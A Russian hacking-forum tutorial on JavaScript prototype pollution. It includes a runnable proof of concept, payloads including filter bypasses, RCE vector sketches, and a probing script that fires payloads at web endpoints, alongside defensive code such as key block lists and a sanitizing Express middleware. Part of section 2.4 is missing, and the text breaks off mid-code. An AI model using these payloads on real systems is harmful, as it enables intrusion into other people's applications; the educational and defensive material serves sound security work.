ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Атаки Prototype Pollution в JavaScript (https://forum.antichat.xyz/showthread.php?t=592221)

xzotique 26.01.2026 01:26

https://forum.antichat.xyz/attachmen...9375888643.png

Ты сидишь там, в своей тайной вкладке, которую прячешь от коллег-джаваскриптеров, верно? Та вкладка, где у тебя открыт не какой-то уютный, прилизанный бложик про «10 лучших практик Vue», а что-то настоящее. Что-то, от чего слегка щемит в груди - смесь любопытства и предвкушения хака. Ты смотришь на этот дивный новый мир современных фреймворков, на эту гору абстракций, транскомпиляторов и «магических» методов, и в глубине души задаешься одним древним, как сам Object.prototype, вопросом: «А где здесь костыли? Где трещины? Где та червоточина, в которую можно просунуть свой щуп и ощутить дрожь реального железа, а не виртуального DOM?»

Я тебя услышал. Сегодня мы не будем восхищаться «элегантностью» и «интуитивностью». Сегодня мы будем препарировать один из самых изящных, коварных и фундаментальных багов в экосистеме JavaScript. Баг, который бьет не по твоему коду, а по самой его ДНК. Баг, который превращает безобидную операцию копирования объекта в полноценный RCE. Это не просто уязвимость, брат. Это философская проблема, обернутая в эксплуатацию. Это Prototype Pollution.

Забудь на время про SQL-инъекции и XSS. Они - как ножи: понятные, прямолинейные. Prototype Pollution - это нейротоксин. Он невидим, действует на системном уровне и меняет правила игры для всего приложения. Ты не атакуешь функцию. Ты атакуешь саму природу объектов в рантайме.

Мы пройдем путь от древних артефактов ES3 до самых свежих багов в Vue 3, React и Angular. Я покажу тебе не только теорию, но и инструменты - те самые скрипты и методики, которые ты сможешь запустить сегодня же.

Готов? Мы погружаемся в прототипную бездну.

Часть 1: Корень всех зол. Или как proto стал нашим проклятым наследием
Чтобы понять атаку, нужно понять, на чем стоит весь этот карточный домик под названием JavaScript. А стоит он на прототипном наследовании. Не пугайся, мы не будем зубрить сухую теорию из MDN. Давай посмотрим на это глазами того самого человека, который хочет все сломать.

1.1. Душа объекта: [[Prototype]]

В мире JS нет классов в классическом понимании. Есть объекты. И у каждого объекта есть скрытое, внутреннее свойство [[Prototype]]. Это ссылка. Указатель на другой объект. «Родителя». Когда ты пытаешься прочитать свойство obj.someProperty, движок сначала ищет его в самом obj. Не нашел? Он идет по ссылке [[Prototype]] и ищет в родительском объекте. Не нашел и там? Идет к прототипу прототипа. И так до самого верха - до Object.prototype. А если и там нет - возвращает undefined. Эта цепочка - прототипная цепь.

Вот как это выглядит в дикой природе (запусти в консоли, это безопасно):

JavaScript:


Код:

const
животное
=
{
издаетЗвук
:
true
}
;
const
собака
=
{
лает
:
true
}
;
// Устаревший, но наглядный способ: устанавливаем прототип
собака
.
__proto__
=
животное
;
console
.
log
(
собака
.
лает
)
;
// true - свойство самого объекта
console
.
log
(
собака
.
издаетЗвук
)
;
// true - свойство прототипа!
console
.
log
(
собака
.
__proto__
===
животное
)
;
// true

Да, я использовал proto. Это наше, такое родное, грязное, нестандартизированное годами, но работающее везде свойство-геттер/сеттер для внутреннего слота [[Prototype]]. Современный стандарт дает нам Object.getPrototypeOf() и Object.setPrototypeOf(), но в атаках все еще часто фигурирует старое доброе proto из-за его прямолинейности.

1.2. Святая святых: Object.prototype

Поднимись на самый верх прототипной цепи любого обычного объекта. Ты окажешься у истока. У Object.prototype. Это корневой объект, от которого наследуется (почти) все.

JavaScript:


Код:

const
пустойОбъект
=
{
}
;
console
.
log
(
пустойОбъект
.
toString
)
;
// function toString() { [native code] }
// Откуда метод? Смотри цепь:
// пустойОбъект -> Object.prototype -> null

В Object.prototype живут фундаментальные методы: toString, valueOf, hasOwnProperty, constructor. Если ты изменишь Object.prototype, ты изменишь все объекты в рантайме (кроме тех, у кого цепь прервана - но об этом позже). Это глобальная мутация состояния среды выполнения. Представь, что ты можешь изменить законы физики для всей программы. Это и есть Prototype Pollution.

1.3. Первое заражение: наивное слияние объектов

Посмотри на этот код. Он в тысячах проектов, туториалов, библиотек.

JavaScript:


Код:

function
merge
(
target, source
)
{
for
(
let
key
in
source
)
{
if
(
source
.
hasOwnProperty
(
key
)
)
{
target
[
key
]
=
source
[
key
]
;
}
}
return
target
;
}
const
config
=
{
theme
:
'dark'
}
;
const
userInput
=
{
fontSize
:
14
}
;
const
finalConfig
=
merge
(
config
,
userInput
)
;
// Все ок. finalConfig = { theme: 'dark', fontSize: 14 }

А теперь представь, что userInput - это не контролируемые тобой данные, а payload извне. Что, если злоумышленник пришлет такой объект?

JavaScript:


Код:

const
злойInput
=
{
fontSize
:
14
,
__proto__
:
{
isAdmin
:
true
}
}
;

Наивно ожидая, что proto - это просто очередное строковое свойство, разработчик запускает наш merge. Но for..in (если не использовать hasOwnProperty правильно, а его часто опускают!) проходит и по унаследованным свойствам. В некоторых условиях (особенно в старых движках или при определенной сериализации/десериализации) свойство proto может быть перечисляемым. И тогда в момент присваивания target[key] = source[key] для key = 'proto' сработает сеттер proto объекта target. Мы только что изменили прототип target!

Но это цветочки. Классическая атака выглядит тоньше. Она эксплуатирует не proto в цикле, а присваивание через квадратные скобки с динамическим ключом.

1.4. Механика заражения: путь от constructor к pollution

Вот где начинается магия. Смотри.

JavaScript:


Код:

function
isObject
(
obj
)
{
return
obj
!==
null
&&
typeof
obj
===
'object'
;
}
function
mergeDeep
(
target, source
)
{
for
(
let
key
in
source
)
{
if
(
isObject
(
source
[
key
]
)
)
{
if
(
!
target
[
key
]
)
{
target
[
key
]
=
{
}
;
}
mergeDeep
(
target
[
key
]
,
source
[
key
]
)
;
// Рекурсия!
}
else
{
target
[
key
]
=
source
[
key
]
;
// ОПАСНАЯ СТРОКА
}
}
return
target
;
}

Это рекурсивное слияние. Стандартная вещь для конфигов. Теперь - внимание - payload:

JavaScript:


Код:

const
нашОбъект
=
{
}
;
const
злойPayload
=
JSON
.
parse
(
'{"a": 1, "__proto__": {"isPolluted": true}}'
)
;
// Или, что чаще: {"constructor": {"prototype": {"isPolluted": true}}}
mergeDeep
(
нашОбъект
,
злойPayload
)
;

Что произойдет? Функция получит ключ 'proto'. source[key] - это объект {"isPolluted": true}. isObject вернет true. Проверит target[key]. А target - это наш исходный объект. У него есть свойство proto? Да, это геттер/сеттер. target['proto'] вернет прототип target (то есть Object.prototype). Это объект? Да! Значит, условие if (!target[key]) пропускается (потому что target[key] - это Object.prototype, он не null и не undefined). И мы уходим в рекурсивный вызов: mergeDeep(Object.prototype, {"isPolluted": true}).

На следующей итерации ключ - 'isPolluted'. source[key] - примитив true. isObject - false. Выполняется target[key] = source[key], где target - это Object.prototype. БАМ! Мы только что присвоили свойство isPolluted со значением true в корневой прототип всех объектов!

Проверяем:

Код:


Код:

console.log({}.isPolluted); // true!
console.log(нашОбъект.isPolluted); // true!
console.log(Object.prototype.isPolluted); // true!

Заражение пошло по всей системе. Любой новый объект, созданный после заражения, будет иметь это свойство.

Практический инструмент №1: Минимальный PoC для тестирования

Создай файл test_pollution.js:

JavaScript:


Код:

// Функция уязвимого глубокого слияния
function
mergeDeep
(
target, source
)
{
for
(
let
key
in
source
)
{
if
(
source
[
key
]
&&
typeof
source
[
key
]
===
'object'
)
{
if
(
!
target
[
key
]
)
target
[
key
]
=
{
}
;
mergeDeep
(
target
[
key
]
,
source
[
key
]
)
;
}
else
{
target
[
key
]
=
source
[
key
]
;
}
}
return
target
;
}
// 1. Проверяем чистоту среды
console
.
log
(
'До заражения:'
,
{
}
.
polluted
)
;
// 2. Имитируем получение вредоносных данных (например, из query параметра)
// В реальности это мог бы быть: JSON.parse(req.query.config)
const
maliciousPayload
=
JSON
.
parse
(
'{"__proto__": {"polluted": "YES"}}'
)
;
// 3. Выполняем уязвимую операцию
const
obj
=
{
}
;
mergeDeep
(
obj
,
maliciousPayload
)
;
// 4. Проверяем заражение
console
.
log
(
'После заражения:'
,
{
}
.
polluted
)
;
console
.
log
(
'obj.polluted:'
,
obj
.
polluted
)
;
console
.
log
(
'Object.prototype.polluted:'
,
Object
.
prototype
.
polluted
)
;
// 5. Создаем новый объект - он тоже заражен!
const
newObj
=
{
}
;
console
.
log
(
'Новый объект:'
,
newObj
.
polluted
)
;

Запусти его: node test_pollution.js. Увидишь 'YES'. Поздравляю, ты только что совершил свою первую прототипную поллюцию. Это фундамент. Дальше будет интереснее.

Часть 2: Векторы атаки. От свойства polluted до Remote Code Execution
Окей, мы можем добавить любому объекту свойство isAdmin. И что? Это же не приведет к выполнению кода. Или приведет? Брат, здесь начинается самое интересное. Prototype Pollution - это не финальная цель, а первый шаг. Это привилегия, эскалация привилегий в мире объектов. С помощью этого примитива мы можем добиться многого, вплоть до RCE. Давай разберем основные векторы.

2.1. Ломаем логику приложения (Client-Side)

Представь себе фронтенд-фреймворк, который проверяет права так:

JavaScript:


Код:

// Где-то в коде Vue/React компонента
if
(
user
.
isAdmin
)
{
showAdminPanel
(
)
;
}

Если user - обычный объект, и мы заразили Object.prototype, установив isAdmin: true, то условие сработает для всех пользователей, даже если в реальном объекте user этого свойства нет! Оно подтянется из прототипа.

Или другой пример - обход проверок:

JavaScript:


Код:

// Проверка: если пользователь не заблокирован
if
(
!
user
.
isBlocked
)
{
allowAccess
(
)
;
}

Заражаем Object.prototype свойством isBlocked: false. Вуаля - доступ открыт.

2.2. Атаки на DOM: от Pollution до XSS

Это один из самых мощных клиентских векторов. Многие фреймворки для шаблонизации используют свойства объектов для работы с DOM. Если мы можем загрязнить прототип, мы можем влиять на рендеринг.

Пример с AngularJS (старая, но очень показательная история):
AngularJS имел «функциональность» (читай: баг-фичу), которая при обходе объекта в директивах вроде ng-repeat использовала не hasOwnProperty, а просто перебор. Если в Object.prototype появлялось новое свойство, AngularJS мог попытаться отобразить его в DOM.

Payload мог выглядеть так:

JavaScript:


Код:

// Заражаем прототип функцией, которая выполнится в контексте Angular
Object
.
prototype
.
ngClick
=
'alert(1)'
;
// Или свойством, которое сломает логику и приведет к выполнению кода через вставку в HTML.

Более современные фреймворки, такие как Vue и React, имеют защиту от такого прямого внедрения, но не всегда. Все зависит от того, как разработчик использует данные в шаблонах.

2.3. Атаки на Node.js: путь к RCE

Вот где Prototype Pollution становится по-настоящему опасной. На сервере мы можем атаковать глобальные объекты, влияющие на выполнение кода.

Вектор через console.log / util.inspect:
В Node.js console.log для объектов использует модуль util.inspect. Если в Object.prototype добавить свойство, которое является геттером с побочным эффектом, то при логировании объекта может выполниться произвольный код.

Вектор через шаблонизаторы:
Популярные библиотеки, такие как pug (ранее jade), handlebars, ejs, могут использовать зараженные объекты в качестве контекста рендеринга. Если в прототип добавлено свойство, которое интерпретируется как команда шаблонизатора, можно добиться выполнения серверного кода.

Пример для pug (упрощенно):

JavaScript:


Код:

// Если в шаблоне есть `#{someProperty}`, и `someProperty` берется из пользовательских данных...
// Заражаем прототип:
Object
.
prototype
.
someProperty
=
"';process.exit(1);//"
;
// При рендеринге это может сломать контекст и внедрить код.

Вектор через переопределение встроенных методов:
Самое опасное. Мы можем переписать ключевые методы Object.prototype.
  • Переопределение toString или valueOf: Эти методы вызываются неявно в многих операциях (конкатенация строк, математические операции). Если сделать их вредоносными, можно поймать выполнение в неожиданный момент.
  • Переопределение constructor: У каждого объекта есть свойство constructor, ссылающееся на функцию-создатель. Object.prototype.constructor - это Object. Если его переопределить, можно сломать логику, которая relies на этом.
  • Геттеры/Сеттеры в прототипе: Это ядерное оружие. Мы можем добавить в Object.prototype не просто свойство, а геттер.

JavaScript:


Код:

Object
.
defineProperty
(
Object
.
prototype
,
'evil'
,
{
get
(
)
{
console
.
log
(
'Геттер вызван!'
)
;
// Здесь может быть любой код: require('child_process').execSync('calc');
return
'payload'
;
}
,
enumerable
:
false
// Чтобы не светиться в циклах
}
)
;

Теперь любой доступ к свойству .evil любого объекта вызовет наш код! Представь, что есть проверка:

JavaScript:


Код:

if
(
someConfig
.
evil
!==
undefined
)
{
// что-то делаем
}

Сама проверка вызовет геттер и выполнит наш код.

2.4. Пример реальной цепи: от Pollution до RCE в популярных библиотеках

В 2019-2021 годах была найдена уязвимость (CVE-2019-10744 и подобные) в библиотеке lodash (версии
{
// Проверка на использование опасных функций
ОПАСНЫЕ_ФУНКЦИИ
.
forEach
(
func
=>
{
if
(
line
.
includes
(
func
)
&&
!
line
.
trim
(
)
.
startsWith
(
'//'
)
)
{
findings
.
push
(
{
line
:
index
+
1
,
type
:
'DANGEROUS_FUNCTION'
,
message
:
`Найдена потенциально опасная функция:${func}`
,
code
:
line
.
trim
(
)
}
)
;
}
}
)
;
// Проверка на опасные паттерны
ОПАСНЫЕ_ПАТТЕРНЫ
.
forEach
(
pattern
=>
{
const
matches
=
[
...
line
.
matchAll
(
pattern
)
]
;
matches
.
forEach
(
match
=>
{
findings
.
push
(
{
line
:
index
+
1
,
type
:
'DANGEROUS_PATTERN'
,
message
:
`Найден опасный паттерн:${match[0]}`
,
code
:
line
.
trim
(
)
}
)
;
}
)
;
}
)
;
// Проверка на require/import опасных библиотек
if
(
line
.
includes
(
'require('
)
||
line
.
includes
(
'import'
)
)
{
ОПАСНЫЕ_БИБЛИОТЕКИ
.
forEach
(
lib
=>
{
if
(
line
.
includes
(
lib
)
)
{
findings
.
push
(
{
line
:
index
+
1
,
type
:
'DANGEROUS_LIBRARY'
,
message
:
`Импортируется библиотека с историей уязвимостей:${lib}`
,
code
:
line
.
trim
(
)
}
)
;
}
}
)
;
}
}
)
;
if
(
findings
.
length
>
0
)
{
console
.
log
(
`\n=== Результаты сканирования${filePath}===`
)
;
findings
.
forEach
(
f
=>
{
console
.
log
(
`[Строка${f.line}]${f.type}:${f.message}`
)
;
console
.
log
(
`>${f.code}`
)
;
}
)
;
}
}
function
scanDirectory
(
dir
)
{
const
items
=
fs
.
readdirSync
(
dir
)
;
items
.
forEach
(
item
=>
{
const
fullPath
=
path
.
join
(
dir
,
item
)
;
const
stat
=
fs
.
statSync
(
fullPath
)
;
if
(
stat
.
isDirectory
(
)
)
{
// Пропускаем node_modules и .git
if
(
!
item
.
includes
(
'node_modules'
)
&&
!
item
.
includes
(
'.git'
)
)
{
scanDirectory
(
fullPath
)
;
}
}
else
if
(
stat
.
isFile
(
)
&&
(
fullPath
.
endsWith
(
'.js'
)
||
fullPath
.
endsWith
(
'.ts'
)
||
fullPath
.
endsWith
(
'.jsx'
)
||
fullPath
.
endsWith
(
'.tsx'
)
)
)
{
scanFile
(
fullPath
)
;
}
}
)
;
}
// Запуск: node pp-finder.js ./path/to/your/code
const
targetDir
=
process
.
argv
[
2
]
||
'.'
;
console
.
log
(
`Начинаем сканирование директории:${targetDir}`
)
;
scanDirectory
(
targetDir
)
;
[/CODE]

Этот скрипт - лишь отправная точка. Он найдет подозрительные места. Дальше нужно смотреть код вручную, искать места, где в эти опасные функции попадают непроверенные пользовательские данные.

Часть 3: Охота в дикой природе. Фреймворки под прицелом
Теперь, имея в руках теорию и инструменты, давай пройдемся по конкретным фреймворкам и библиотекам. Где искать слабые места? Как они себя проявляют?

3.1. jQuery: старый, но опасный

Да, его все еще используют. И у него была своя история с Prototype Pollution. В версиях до 3.4.0 функция $.extend(true, {}, ...) (глубокое копирование) была уязвима. Payload был классическим: {"proto": {"polluted": true}}. Обновляй jQuery, если видишь старую версию. Это всегда приоритет.

3.2. Angular (не AngularJS): защищен, но не неприступен

Angular, начиная с версий 2+, имеет более строгую архитектуру. Сами механизмы фреймворка менее подвержены прямой поллюции, потому что:
  • Используют TypeScript с интерфейсами (хотя это только на этапе компиляции).
  • Внутренние объекты часто создаются с Object.create(null) (об этом способе защиты - позже).
  • Механизмы Dependency Injection и Change Detection работают не через прямые манипуляции с прототипами пользовательских объектов.
Однако, уязвимость может появиться в:
  • Сервисах/модулях, которые некорректно обрабатывают конфигурационные объекты, приходящие с бэкенда.
  • Сторонних библиотеках для Angular, которые используют уязвимые версии lodash или собственные небезопасные функции слияния.
  • Коде самого разработчика, который написал что-то вроде Object.assign(this.config, userInput) в компоненте.
3.3. React: островок безопасности?

React сам по себе не выполняет глубокого слияния пропсов или состояния. setState делает shallow merge. Но опасность таится вокруг:
  • Библиотеки управления состоянием: Redux (в комбинации с redux-merge или небезопасными редьюсерами), MobX. Если в редьюсере происходит глубокое слияние старого и нового состояния на основе данных из API - это потенциальная точка входа.
  • Серверный React (Next.js, Gatsby): На сервере риск RCE резко возрастает. Если при получении данных для статической генерации (getStaticProps) или серверного рендеринга (getServerSideProps) происходит небезопасное слияние объектов из запроса, можно заразить глобальный Object.prototype на сервере, что затронет все последующие запросы.
  • Утилитарные функции: В любом проекте React обычно есть папка utils/ с кучей вспомогательных функций. Именно там живут самописные deepMerge, getNestedProperty, которые могут быть уязвимы.
3.4. Vue 2 / Vue 3: реактивность как вектор?

Vue использует систему реактивности, основанную на геттерах/сеттерах (Vue 2) или Proxy (Vue 3). Может ли это усилить атаку?
  • Vue 2: При инициализации данных компонента Vue рекурсивно обходит объект и превращает его свойства в реактивные с помощью Object.defineProperty. Если Object.prototype уже был заражен до инициализации Vue, то Vue попытается сделать реактивными и эти зараженные свойства! Это может привести к неожиданному поведению, но не обязательно к выполнению кода. Однако, если в payload был геттер, Vue вызовет его в процессе обхода, что может привести к выполнению кода на этапе создания компонента.
  • Vue 3 (Proxy): Proxy оборачивает объект и перехватывает операции. Он лучше изолирован от прототипной цепи исходного объекта. Но опять же, если заражение произошло до создания reactive/ref, Proxy будет перехватывать доступ и к зараженным свойствам. Риск есть.
Главная опасность во Vue, как и в React, - в обработке входных данных (props, данные из API) перед их помещением в реактивную систему.

3.5. Node.js Backend: Express, Fastify, NestJS

Здесь простор для атаки огромен.
  • Парсинг JSON: app.use(express.json()). Сам по себе парсер body-parser (встроенный в Express) защищен. Но что происходит с распарсенным объектом req.body дальше?
  • Middleware для валидации/нормализации: Многие проекты пишут middleware, которые "чистят" или "обогащают" req.body. Часто это делается через циклы по свойствам и присваивания.
  • ORM/ODM (Sequelize, Mongoose, TypeORM): Эти библиотеки создают экземпляры моделей на основе пользовательских данных. Если в их внутренней логике есть небезопасное копирование, можно попытаться заразить прототип модели, что повлияет на все экземпляры.
  • Конфигурационные файлы: Часто конфиг приложения (порты, ключи API) загружается из JSON-файла и затем мержится с переменными окружения. Уязвимая функция слияния на этом этапе может привести к катастрофе.
Практический инструмент №3: Автоматизированный тест для Node.js приложений - Pollution Probe

Этот инструмент уже для динамического тестирования. Он отправляет в эндпоинты различные payloadы и проверяет, произошло ли заражение. Используй ТОЛЬКО на своих приложениях или с явного разрешения!

Создай файл pollution-probe.js:

JavaScript:


Код:

const
axios
=
require
(
'axios'
)
;
const
{
URL
}
=
require
(
'url'
)
;
// Коллекция payload'ов для разных контекстов и обходов защиты
const
PAYLOADS
=
[
// Классические
{
pollution
:
'proto'
,
payload
:
{
"__proto__"
:
{
"isPolluted"
:
"PROTO"
}
}
}
,
{
pollution
:
'constructor'
,
payload
:
{
"constructor"
:
{
"prototype"
:
{
"isPolluted"
:
"CONSTRUCTOR"
}
}
}
}
,
// Обходы, если __proto__ фильтруется
{
pollution
:
'proto-bracket'
,
payload
:
{
"[\"__proto__\"]"
:
{
"isPolluted"
:
"BRACKET_PROTO"
}
}
}
,
{
pollution
:
'constructor-bracket'
,
payload
:
{
"[\"constructor\"][\"prototype\"]"
:
{
"isPolluted"
:
"BRACKET_CONSTRUCTOR"
}
}
}
,
// Через Object.defineProperty (если код использует его небрежно)
{
pollution
:
'defineProperty'
,
payload
:
{
"defineProperty"
:
{
"value"
:
{
"isPolluted"
:
"DEFINE_PROPERTY"
}
}
}
}
,
]
;
// Цели для проверки (добавь свои эндпоинты)
const
TARGETS
=
[
{
method
:
'POST'
,
url
:
'http://localhost:3000/api/config'
,
name
:
'Конфигурационный эндпоинт'
}
,
{
method
:
'POST'
,
url
:
'http://localhost:3000/api/user/prefs'
,
name
:
'Настройки пользователя'
}
,
{
method
:
'GET'
,
url
:
'http://localhost:3000/api/data?params='
,
name
:
'GET с query-параметрами'
,
isQuery
:
true
}
,
]
;
async
function
probeTarget
(
target, payloadConfig
)
{
console
.
log
(
`\n[!] Тестируем${target.name}(${target.url}) с payload:${payloadConfig.pollution}`
)
;
let
testUrl
=
target
.
url
;
let
data
=
null
;
if
(
target
.
isQuery
)
{
// Для GET-запросов сериализуем payload в query-строку (очень упрощенно)
const
query
=
encodeURIComponent
(
JSON
.
stringify
(
payloadConfig
.
payload
)
)
;
testUrl
=
`${target.url}${query}`
;
}
else
{
data
=
payloadConfig
.
payload
;
}
try
{
const
response
=
await
axios
(
{
method
:
target
.
method
,
url
:
testUrl
,
data
:
data
,
headers
:
{
'Content-Type'
:
'application/json'
}
,
validateStatus
:
(
)
=>
true
// Принимаем любой статус
}
)
;
console
.
log
(
`Статус:${response.status}`
)
;
// Проверяем, произошло ли заражение ГЛОБАЛЬНО (для демо - делаем запрос на спец. эндпоинт)
// В реальном тесте нужно иметь "сенсор" - отдельный эндпоинт, который возвращает чистый объект и проверяет его.
// Или проверять косвенно через поведение приложения.
// Здесь - упрощенная проверка: если в ответе есть признаки ошибки, связанной с прототипом.
if
(
response
.
data
&&
typeof
response
.
data
===
'string'
&&
response
.
data
.
includes
(
'prototype'
)
)
{
console
.
log
(
`[ВОЗМОЖНО УЯЗВИМО] Ответ содержит упоминание прототипа.`
)
;
}
}
catch
(
error
)
{
console
.
log
(
`Ошибка запроса:${error.code}`
)
;
}
// Даем время на возможное выполнение асинхронного кода после заражения
await
new
Promise
(
resolve
=>
setTimeout
(
resolve
,
500
)
)
;
}
async
function
runProbe
(
)
{
console
.
log
(
'=== Запуск Pollution Probe ==='
)
;
console
.
log
(
'ВАЖНО: Этот инструмент для тестирования своих приложений.'
)
;
// Сначала проверяем сенсор (должен быть создан в тестовом приложении)
try
{
const
sensorCheck
=
await
axios
.
get
(
'http://localhost:3000/api/sensor'
)
;
console
.
log
(
'Сенсор доступен.'
)
;
}
catch
(
e
)
{
console
.
log
(
'Внимание: Сенсор заражения не найден. Результаты будут менее точными.'
)
;
console
.
log
(
'Рекомендуется создать GET /api/sensor, который возвращает {} и проверяет его на наличие свойств заражения.'
)
;
}
for
(
const
target
of
TARGETS
)
{
for
(
const
payload
of
PAYLOADS
)
{
await
probeTarget
(
target
,
payload
)
;
}
}
console
.
log
(
'\n=== Проверка глобального заражения ==='
)
;
// Финальная проверка: делаем запрос на сенсор или просто проверяем Object.prototype
// В реальном тесте это должно быть отдельным запросом.
const
finalCheck
=
await
axios
.
get
(
'http://localhost:3000/api/sensor'
)
.
catch
(
(
)
=>
(
{
data
:
{
}
}
)
)
;
if
(
finalCheck
.
data
&&
finalCheck
.
data
.
isPolluted
)
{
console
.
log
(
`[!!!] ОБНАРУЖЕНО ГЛОБАЛЬНОЕ ЗАРАЖЕНИЕ:${finalCheck.data.isPolluted}`
)
;
}
else
{
console
.
log
(
'[+] Глобальное заражение не обнаружено (по данным сенсора).'
)
;
}
}
runProbe
(
)
;

Это фреймворк для теста. Тебе нужно будет адаптировать TARGETS под свое приложение и, желательно, добавить в тестовое приложение специальный «сенсорный» эндпоинт, который создает новый чистый объект и проверяет его на наличие неожиданных свойств.

Часть 4: Защита. Как построить непробиваемый (почти) код
Теперь, когда мы знаем, как атаковать, давай поговорим о защите. Не с позиции менеджера, который требует «сделать безопасно», а с позиции инженера, который понимает механику и хочет по-настоящему закрыть дыру.

4.1. Защита на уровне кода: что писать, а что нет
  • Запрети proto, constructor и prototype как ключи.

    В любой функции, которая обрабатывает пользовательские данные (слияние, копирование, установка свойств), добавляй проверку:

    JavaScript:


    Код:

    const
    ОПАСНЫЕ_КЛЮЧИ
    =
    [
    '__proto__'
    ,
    'constructor'
    ,
    'prototype'
    ]
    ;
    function
    safeSet
    (
    obj, key, value
    )
    {
    if
    (
    ОПАСНЫЕ_КЛЮЧИ
    .
    includes
    (
    key
    )
    )
    {
    return
    ;
    // Или выбросить ошибку
    }
    obj
    [
    key
    ]
    =
    value
    ;
    }

    Но помни: это не панацея. Обходы есть (например, ["proto"] как строка, Unicode-эквиваленты).

  • Используй Object.create(null) для объектов1-мап.

    Если тебе нужен чистый объект как хеш-мапа, без всякого наследования, создавай его так:

    JavaScript:


    Код:

    const
    pureMap
    =
    Object
    .
    create
    (
    null
    )
    ;
    console
    .
    log
    (
    pureMap
    .
    __proto__
    )
    ;
    // undefined
    console
    .
    log
    (
    'toString'
    in
    pureMap
    )
    ;
    // false

    У такого объекта цепь прототипов обрывается на null. Он не наследует ничего от Object.prototype. Заразить его через proto невозможно, потому что у него нет сеттера proto. Это одна из самых сильных защит.
  • Заморозка прототипа (в development).

    В режиме разработки можно (с осторожностью!) заморозить или запечатать Object.prototype, чтобы предотвратить его модификацию:

    JavaScript:


    Код:

    if
    (
    process
    .
    env
    .
    NODE_ENV
    ===
    'development'
    )
    {
    Object
    .
    freeze
    (
    Object
    .
    prototype
    )
    ;
    // Или менее строго: Object.seal(Object.prototype);
    }

    Это вызовет ошибку при любой попытке добавления/изменения свойства. Но делай это только в самом начале приложения, до загрузки любых библиотек, иначе они могут сломаться.
  • Используй Map и Set вместо объектов.

    Коллекции Map и Set не используют прототипную цепь для хранения ключей и значений. Ключом может быть любая строка, включая 'proto', и это не приведет к заражению.

    JavaScript:


    Код:

    const
    map
    =
    new
    Map
    (
    )
    ;
    map
    .
    set
    (
    '__proto__'
    ,
    {
    polluted
    :
    true
    }
    )
    ;
    console
    .
    log
    (
    {
    }
    .
    polluted
    )
    ;
    // undefined! Безопасно.

  • Отказ от рекурсивного слияния.

    Спроси себя: «А действительно ли мне нужно глубокое слияние?». Часто достаточно shallow merge через Object.assign() или spread-оператор {...a, ...b}. Они не уходят в рекурсию и безопасны, если не делать их с глубоко вложенными объектами вручную.
  • Санкционированное глубокое слияние.

    Если глубокое слияние необходимо, используй проверенные библиотеки с защитой от поллюции. Например, lodash версии 4.17.12 и выше. Или deepmerge (но проверяй версию!). Или напиши свою, но с учетом всех защит:

    JavaScript:


    Код:

    function
    deepMergeSafe
    (
    target
    ,
    source
    ,
    seen
    =
    new
    WeakMap
    (
    )
    )
    {
    // Защита от циклических ссылок
    if
    (
    seen
    .
    has
    (
    source
    )
    )
    {
    return
    seen
    .
    get
    (
    source
    )
    ;
    }
    seen
    .
    set
    (
    source
    ,
    target
    )
    ;
    for
    (
    let
    key
    of
    Object
    .
    keys
    (
    source
    )
    )
    {
    // Object.keys не включает унаследованные свойства
    // 1. Запрет опасных ключей
    if
    (
    key
    ===
    '__proto__'
    ||
    key
    ===
    'constructor'
    ||
    key
    ===
    'prototype'
    )
    {
    continue
    ;
    }
    const
    sourceVal
    =
    source
    [
    key
    ]
    ;
    const
    targetVal
    =
    target
    [
    key
    ]
    ;
    // 2. Рекурсия только для "простых" объектов, не null и не массив (по желанию)
    if
    (
    sourceVal
    &&
    typeof
    sourceVal
    ===
    'object'
    &&
    !
    Array
    .
    isArray
    (
    sourceVal
    )
    &&
    sourceVal
    .
    constructor
    ===
    Object
    )
    {
    if
    (
    targetVal
    &&
    typeof
    targetVal
    ===
    'object'
    &&
    targetVal
    .
    constructor
    ===
    Object
    )
    {
    target
    [
    key
    ]
    =
    deepMergeSafe
    (
    Object
    .
    assign
    (
    {
    }
    ,
    targetVal
    )
    ,
    sourceVal
    ,
    seen
    )
    ;
    }
    else
    {
    // 3. Создаем НОВЫЙ объект, а не используем target[key], который может быть геттером
    target
    [
    key
    ]
    =
    deepMergeSafe
    (
    {
    }
    ,
    sourceVal
    ,
    seen
    )
    ;
    }
    }
    else
    {
    // 4. Присваивание примитивов
    target
    [
    key
    ]
    =
    sourceVal
    ;
    }
    }
    return
    target
    ;
    }

4.2. Защита на уровне библиотек и зависимостей
  • npm audit - твой друг и враг. Он завалит тебя предупреждениями, но он прав. Регулярно обновляй зависимости, особенно lodash, underscore, jquery, handlebars, mongoose.
  • **Используй overrides в package.json (npm) или resolutions (yarn), чтобы форсировать обновление транзитивных зависимостей, которые содержат уязвимости.
  • Рассмотри инструменты статического анализа кода (SAST) для JavaScript/TypeScript: Semgrep, CodeQL, SonarQube. Они могут находить паттерны, уязвимые для Prototype Pollution.
4.3. Защита на уровне фреймворка и среды выполнения
  • Для Node.js: Рассмотри использование --disable-proto флага (экспериментальный в V8). Он отключает возможность модификации Object.prototype.proto. Запускай так: node --disable-proto=throw app.js.
  • Используя TypeScript, настрой строгие проверки ("strict": true). Это не предотвратит атаку в рантайме, но сделает код чище и уменьшит вероятность ошибок.
  • В браузерных приложениях используй Content Security Policy (CSP). Хотя CSP не защитит от самой поллюции, она может предотвратить эксплуатацию ее последствий (например, выполнение инжектированного через XSS кода).
Практический инструмент №4: Модуль-защитник для Express.js

Вот простой middleware для Express, который очищает входящие объекты req.body, req.query и req.params от потенциально опасных ключей.

Создай файл prototype-pollution-guard.js:

JavaScript:


Код:

// middleware/prototype-pollution-guard.js
const
dangerousKeys
=
/^(__proto__|constructor|prototype)$/i
;
/**
 * Рекурсивно обходит объект и удаляет ключи, совпадающие с dangerousKeys.
 * Создает копию, не мутирует оригинал (важно для req.query).
 */
function
sanitizeObject
(
obj
,
seen
=
new
WeakMap
(
)
)
{
// Обрабатываем только объекты и массивы
if
(
obj
===
null
||
typeof
obj
!==
'object'
)
{
return
obj
;
}
// Защита от циклических ссылок
if
(
seen
.
has
(
obj
)
)
{
return
seen
.
get
(
obj
)
;
}
// Создаем "чистый" контейнер того же типа
const
sanitized
=
Array
.
isArray
(
obj
)
?
[
]
:
{
}
;
seen
.
set
(
obj
,
sanitized
)
;
for
(
let
key
in
obj
)
{
// Проверяем, что свойство принадлежит самому объекту, а не прототипу
if
(
!
Object
.
prototype
.
hasOwnProperty
.
call
(
obj
,
key
)
)
{
continue
;
}
// Если ключ опасный - пропускаем
if
(
dangerousKeys
.
test
(
key
)
)
{
console
.
warn
(
